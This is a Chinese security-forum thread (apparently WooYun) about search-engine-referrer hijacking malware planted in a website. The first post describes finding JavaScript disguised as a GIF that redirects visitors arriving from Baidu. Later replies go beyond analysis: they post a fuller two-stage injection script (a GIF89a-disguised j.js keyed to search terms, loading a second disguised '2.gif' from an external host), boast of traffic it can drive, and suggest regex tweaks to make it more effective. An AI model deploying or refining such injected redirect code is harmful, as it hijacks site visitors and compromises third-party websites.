当前位置：WooYun(白帽子技术社区) >> 搜索引擎 >> 昨晚找到的一个利用引擎挂马手法
| 一客户站被挂马，正常打开无症状，通过百度关键字打开就跳转到别的站，第一反应就是web扩展或网站加载文件导致，苦逼似的分析了所有web扩展加载网站程序都看了没异常，停了IIS启用阿帕奇服务，引擎关键字打开一样跳转。看来真出在程序里了。
最后发现了以gif图片，被script调用，记事本打开后发现如下代码：GIF89a="";
var s=document.referrer;
if(s.indexOf("baidu")>0)
{
self.location="http://www.baidu.com/";
//if(parent.window.opener) parent.window.opener.location='http://www.baidu.com/';
}
顿时震精了，清理后网站正常了。感慨现在的挂马方花样越来越多。。
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
@piaoye @核攻击 的确,没点智能：
关键字:-> 淘宝 女装
淘 宝女装
连判断都没有应该效果差得很- -
GIF89A="";
应该用图片调用。
一种简单的js劫持百度SEO的代码，一天做个几十万流量是没问题的。
这个是简单的代码，所以，隐藏性一般。还有更BT的。哈哈
代码
<script language="javascript" type="text/javascript" src="/images/js/j.js" ></script>
【j.js】
GIF89a="";
var d=document.referrer;
if ((d.indexOf("wd=%BC%E0%CC%FD")>0)||(d.indexOf("wd=%C7%D4%CC%FD")>0)||(d.indexOf("wd=%C6%F7")>0)||(d.indexOf("wd=%CA%D6%BB%FA")>0)||(d.indexOf("wd=%B9%C9%C6%B1")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)){
window.location.href="http://xxxxx.blogcn.com";
}
document.writeln("<script language=\"javascript\" src=\"http:\/\/xxxx.blogcn.com\/2.gif\"><\/script>\")")
【2.gif】
var s=document.referrer;
if(s.indexOf(".com")>0)
{
self.location="http://xxxxx.blogcn.com";
//if(parent.window.opener) parent.window.opener.location='http://xxxxxxx.blogcn.com';
}
function ignoreSpaces(string) {
return string.replace(/\s+/g,"");
}一键解决空格问题
var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(*******|*******))/;加正则 更加智能. -
(shield) 添加新回复
其它内容
- 暂无